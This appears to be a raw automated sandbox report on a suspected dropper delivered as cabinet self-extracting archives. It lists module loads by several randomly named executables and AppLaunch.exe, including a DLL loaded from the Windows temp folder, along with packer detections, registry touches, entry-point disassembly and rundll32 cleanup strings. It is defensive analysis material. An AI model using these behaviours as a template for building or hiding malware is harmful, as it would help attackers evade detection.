module "RPCRT4.DLL" at base 75c10000 "AppLaunch.exe" loaded module "CLBCATQ.DLL" at base 77040000 "AppLaunch.exe" loaded module "DHCPCSVC6.DLL" at base 72c40000 "AppLaunch.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 754c0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74520000 "AppLaunch.exe" loaded module "COMCTL32.DLL" at base 73c00000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 75380000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 6e510000 "AppLaunch.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 0 "7TG93zJ.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 72680000 "7TG93zJ.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "7TG93zJ.exe" loaded module "KERNEL32" at base 76da0000 "7TG93zJ.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "7TG93zJ.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 68ec0000 "8Ui694dn.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74c30000 "8Ui694dn.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 0 "AppLaunch.exe" loaded module "SHLWAPI.DLL" at base 75cc0000 "AppLaunch.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "AppLaunch.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "AppLaunch.exe" loaded module "VERSION.DLL" at base 74300000 "AppLaunch.exe" loaded module "KERNEL32" at base 76da0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 72680000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 66150000 "AppLaunch.exe" loaded module "USER32.DLL" at base 753f0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "AppLaunch.exe" loaded module "MSCOREE.DLL" at base 6c4a0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 0 "AppLaunch.exe" loaded module "PSAPI.DLL" at base 753e0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 64c90000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73a00000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 71720000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 64c00000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 641a0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DRAWING\F7568D7F1B9D356F64779B4C0927CFB3\SYSTEM.DRAWING.NI.DLL" at base 63ff0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.WINDOWS.FORMS\C9A4CBC00F690A9E3CDDFC400F6E85BB\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 63180000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.WINDOWS.FORMS\V4.0_4.0.0.0__B77A5C561934E089\UXTHEME.DLL" at base 0 "AppLaunch.exe" loaded module "UXTHEME.DLL" at base 73a00000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 62960000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 62850000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 620d0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6d830000 "AppLaunch.exe" loaded module "NTDLL.DLL" at base 76e80000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "AppLaunch.exe" loaded module "BCRYPT.DLL" at base 748a0000 "AppLaunch.exe" loaded module "CRYPTSP.DLL" at base 74790000 "AppLaunch.exe" loaded module "IMM32.DLL" at base 753c0000 "AppLaunch.exe" loaded module "COMCTL32.DLL" at base 671d0000 "AppLaunch.exe" loaded module "GDI32.DLL" at base 75870000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\WINDOWSBASE\1A4CC316FB6D09525321FC0BE44692D8\WINDOWSBASE.NI.DLL" at base 61cb0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIONCORE\468F4E17BE144CA12A73A4297EACC9CC\PRESENTATIONCORE.NI.DLL" at base 61070000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIO5AE0F00F#\252CC7B0FAE8CFE083BDC149957C0C54\PRESENTATIONFRAMEWORK.NI.DLL" at base 5fc80000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\PRESENTATIONCORE\V4.0_4.0.0.0__31BF3856AD364E35\UCRTBASE_CLR0400.DLL" at base 0 "AppLaunch.exe" loaded module "UCRTBASE_CLR0400.DLL" at base 660a0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\PRESENTATIONCORE\V4.0_4.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "AppLaunch.exe" loaded module "DWRITE.DLL" at base 67260000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 74db0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 0 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\WPFGFX_V0400.DLL" at base 5faf0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\PRESENTATIONNATIVE_V0400.DLL" at base 5f990000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.RUNTEB92AA12#\274E43040C8A7A02EF1065DB3283005A\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL" at base 5f6b0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.IDENTITYMODEL\C2EF5BC545B98A289F02D0B3EDDBE280\SYSTEM.IDENTITYMODEL.NI.DLL" at base 5f3a0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SMDIAGNOSTICS\DC67DCB4B2FB4A3853D458CAB08561F0\SMDIAGNOSTICS.NI.DLL" at base 6c3a0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.TRANSACTIONS\3D760B4A3260A41EF84A3FD866780980\SYSTEM.TRANSACTIONS.NI.DLL" at base 5ec10000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 5ebc0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76da0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 6e690000 "AppLaunch.exe" loaded module "RPCRTREMOTE.DLL" at base 74d20000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 6fb30000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\\WMINET_UTILS.DLL" at base 5f370000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6e6b0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6fc40000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "AppLaunch.exe" loaded module "SECUR32.DLL" at base 74ac0000 "AppLaunch.exe" loaded module "SSPICLI.DLL" at base 74c10000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.MANAGEMENT\E114780FD3EA5727401C06EA4F22EF35\SYSTEM.MANAGEMENT.NI.DLL" at base 5ea90000 "AppLaunch.exe" loaded module "OLEAUT32.DLL" at base 758c0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.SECURITY\93D03EB9812405FA70E89D4EFD5F7E14\SYSTEM.SECURITY.NI.DLL" at base 5e5a0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\PRESENTATIONCORE\V4.0_4.0.0.0__31BF3856AD364E35\VCRUNTIME140_CLR0400.DLL" at base 0 "AppLaunch.exe" loaded module "VCRUNTIME140_CLR0400.DLL" at base 6d9c0000 "9yR3LL2.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "9yR3LL2.exe" loaded module "KERNEL32" at base 76da0000 "9yR3LL2.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 72680000 "9yR3LL2.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "9yR3LL2.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 68ec0000 "9yR3LL2.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74c30000 "9yR3LL2.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 0 "AppLaunch.exe" loaded module "CREDSSP.DLL" at base 74450000 "AppLaunch.exe" loaded module "WSHTCPIP" at base 741f0000 "AppLaunch.exe" loaded module "WSHIP6.DLL" at base 74740000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WSHQOS.DLL" at base 70a90000 "AppLaunch.exe" loaded module "DHCPCSVC.DLL" at base 74200000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 72c70000 "AppLaunch.exe" loaded module "WININET.DLL" at base 75960000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 758c0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WININET.DLL" at base 75960000 "AppLaunch.exe" loaded module "WTSAPI32" at base 68f344b44a:Tdab,"fa951d632a6b1c8efb577fc5b43a64b5.exe" was detected as "Microsoft Cabinet" and name: "sfx" "fa951d632a6b1c8efb577fc5b43a64b5.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "fa951d632a6b1c8efb577fc5b43a64b5.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "fa951d632a6b1c8efb577fc5b43a64b5.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "fa951d632a6b1c8efb577fc5b43a64b5.exe" was detected as "Microsoft Linker" and name: "Linker" "Ia3cO08.exe" was detected as "Microsoft Cabinet" and name: "sfx" "Ia3cO08.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "Ia3cO08.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "Ia3cO08.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "Ia3cO08.exe" was detected as "Microsoft Linker" and name: "Linker" "1gT33kS4.exe" was detected as "Microsoft Cabinet" and name: "sfx" "1gT33kS4.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "1gT33kS4.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "1gT33kS4.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "1gT33kS4.exe" was detected as "Microsoft Linker" and name: "Linker" "QX6jY18.exe" was detected as "Microsoft Cabinet" and name: "sfx" "QX6jY18.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "QX6jY18.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "QX6jY18.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "QX6jY18.exe" was detected as "Microsoft Linker" and name: "Linker" "Qb7Pk11.exe" was detected as "Microsoft Cabinet" and name: "sfx" "Qb7Pk11.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "Qb7Pk11.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "Qb7Pk11.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "Qb7Pk11.exe" was detected as "Microsoft Linker" and name: "Linker" "9yR3LL2.exe" was detected as "Microsoft Cabinet" and name: "sfx" "9yR3LL2.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "9yR3LL2.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "9yR3LL2.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "9yR3LL2.exe" was detected as "Microsoft Linker" and name: "Linker" "8Ui694dn.exe" was detected as "Microsoft Cabinet" and name: "sfx" "8Ui694dn.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "8Ui694dn.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "8Ui694dn.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "8Ui694dn.exe" was detected as "Microsoft Linker" and name: "Linker" "2iq2723.exe" was detected as "Microsoft Cabinet" and name: "sfx" "2iq2723.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "2iq2723.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "2iq2723.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "2iq2723.exe" was detected as "Microsoft Linker" and name: "Linker" "7TG93zJ.exe" was detected as "Microsoft Cabinet" and name: "sfx" "7TG93zJ.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "7TG93zJ.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "7TG93zJ.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "7TG93zJ.exe" was detected as "Microsoft Linker" and name: "Linker"4b:T622,"1gT33kS4.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "1gT33kS4.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "1gT33kS4.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}") "1gT33kS4.exe" touched "Application Registration" (Path: "HKCU\CLSID\{591209C7-767B-42B2-9FBA-44EE4615F2C7}\TREATAS") "AppLaunch.exe" touched "NetworkListManager" (Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}") "AppLaunch.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}") "AppLaunch.exe" touched "PSFactoryBuffer" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}") "AppLaunch.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "AppLaunch.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}") "AppLaunch.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "AppLaunch.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "AppLaunch.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") "AppLaunch.exe" touched "WinInetBroker Class" (Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}")4c:T1453,"fa951d632a6b1c8efb577fc5b43a64b5.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "Ia3cO08.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "1gT33kS4.exe" file has an entrypoint instructions - "call 0x420aea,jmp 0x4203fb,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x4205e7,mov dword ptr [esi], 0x49fdf0,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0,mov dword ptr [ecx + 4], 0x49fdf8,mov dword ptr [ecx], 0x49fdf0,ret ,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x4205e7,mov dword ptr [esi], 0x49fe0c,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0," "QX6jY18.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "Qb7Pk11.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "9yR3LL2.exe" file has an entrypoint instructions - "call 0x403de7,jmp 0x40396b,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0,mov dword ptr [ecx + 4], 0x411370,mov dword ptr [ecx], 0x411318,ret ,push ebp,mov ebp, esp,sub esp, 0xc,lea ecx, [ebp - 0xc],call 0x403af7,push 0x417574,lea eax, [ebp - 0xc],push eax,call 0x405400,int3 ,push ebp,mov ebp, esp,sub esp, 0xc,lea ecx, [ebp - 0xc],call 0x4033c0,push 0x41746c,lea eax, [ebp - 0xc],push eax,call 0x405400,int3 ,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi," "8Ui694dn.exe" file has an entrypoint instructions - "call 0x403dd7,jmp 0x40395b,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0,mov dword ptr [ecx + 4], 0x411370,mov dword ptr [ecx], 0x411318,ret ,push ebp,mov ebp, esp,sub esp, 0xc,lea ecx, [ebp - 0xc],call 0x403ae7,push 0x417574,lea eax, [ebp - 0xc],push eax,call 0x4053f0,int3 ,push ebp,mov ebp, esp,sub esp, 0xc,lea ecx, [ebp - 0xc],call 0x4033b0,push 0x41746c,lea eax, [ebp - 0xc],push eax,call 0x4053f0,int3 ,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi," "2iq2723.exe" file has an entrypoint instructions - "call 0x403de7,jmp 0x40396b,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0,mov dword ptr [ecx + 4], 0x411370,mov dword ptr [ecx], 0x411318,ret ,push ebp,mov ebp, esp,sub esp, 0xc,lea ecx, [ebp - 0xc],call 0x403af7,push 0x417574,lea eax, [ebp - 0xc],push eax,call 0x405400,int3 ,push ebp,mov ebp, esp,sub esp, 0xc,lea ecx, [ebp - 0xc],call 0x4033c0,push 0x41746c,lea eax, [ebp - 0xc],push eax,call 0x405400,int3 ,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi," "7TG93zJ.exe" file has an entrypoint instructions - "call 0x403286,jne 0x40328c,je 0x40328c,jge 0x403298,pop ebx,jmp 0x403299,rol byte ptr [ecx + 0x3286eb], 0,jmp 0x40329d,mov byte ptr [0xa2c0f5eb], al,je 0x4032a7,jne 0x4032a7,xchg eax, esp,mov cl, 0x20,fxch st(4),mov esp, 0x575306a,je 0x4032b0,push edi,lodsb al, byte ptr [esi],sub dword ptr [ebx + 0x548b04c4], eax,and al, 0xfc,jmp 0x4032bf,les ebp, ptr [ecx],shr bl, 5,sub bl, 0xf9,les eax, ptr [eax - 0x4f7ffa15],fsub qword ptr [edi - 0x3d],add eax, dword ptr fs:[edx],je 0x4032d5,jne 0x4032d5,out dx, al,push ds,fcmovne st(0), st(1),push dword ptr [eax + 0xa4],jne 0x4032e2,je 0x4032e2,sub edx, -0x62,add esp, 4,"4d:T801,"fa951d632a6b1c8efb577fc5b43a64b5.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Ia3cO08.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Ia3cO08.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "QX6jY18.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "QX6jY18.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Qb7Pk11.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Qb7Pk11.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1gT33kS4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "1gT33kS4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1gT33kS4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "2iq2723.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "2iq2723.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "7TG93zJ.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "7TG93zJ.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "9yR3LL2.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "9yR3LL2.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US")4e:T591,Found string "" (Indicator: "text/javascript"; File: "I2XI96YB.htm") Found string "" (Indicator: "text/javascript"; File: "I2XI96YB.htm") Found string "" (Indicator: "text/javascript"; File: "I2XI96YB.htm") Found string "" (Indicator: "text/javascript"; File: "I2XI96YB.htm") file/memory contains long string with (Indicator: "text/javascript"; File: "urlref_httpstwitter.comiflowlogin")4f:Tf96,Observed system executable string:"C:\Windows\system32\apphelp.dll" [Source: 00003344.00000D10.10030855931523997.00050000.wprm] Observed system executable string:"%WINDIR%\system32\advpack.dll" [Source: 00000000-00003396-00000C25-16019430] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00003396-00000BC1-24475621] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 